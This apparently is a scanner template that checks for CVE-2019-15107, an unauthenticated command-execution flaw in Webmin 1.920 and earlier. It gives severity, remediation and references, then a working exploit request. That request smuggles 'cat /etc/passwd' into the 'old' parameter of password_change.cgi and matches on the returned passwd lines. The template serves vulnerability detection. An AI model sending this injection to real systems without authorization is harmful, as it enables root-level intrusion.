Webmin <= 1.920 - Unauthenticated Remote Command Execution

id: CVE-2019-15107

info:
  name: Webmin <= 1.920 - Unauthenticated Remote Command Execution
  author: bp0lr
  severity: critical
  description: Webmin <=1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in password_change.cgi.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with root privileges.
  remediation: |
    Upgrade to Webmin version 1.930 or later to mitigate this vulnerability.
  reference:
    - https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15107
    - https://www.exploit-db.com/exploits/47230
    - http://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
    - http://packetstormsecurity.com/files/154485/Webmin-1.920-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-15107
    cwe-id: CWE-78
    epss-score: 0.97494
    epss-percentile: 0.99975
    cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: webmin
    product: webmin
  tags: cve,cve2019,packetstorm,webmin,rce,kev,edb

http:
  - raw:
      #
      - |
        POST /password_change.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Referer: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 4b0a00483046022100bc6b699cacda5151710f068e0e6fa7b0b390af53662a040f5fd741c43d603435022100c3192cb0efda585b53107d73f33c98e74289457e1ce6a71b8602699d1c95fcee:922c64590222798bb761d5b6d8e72950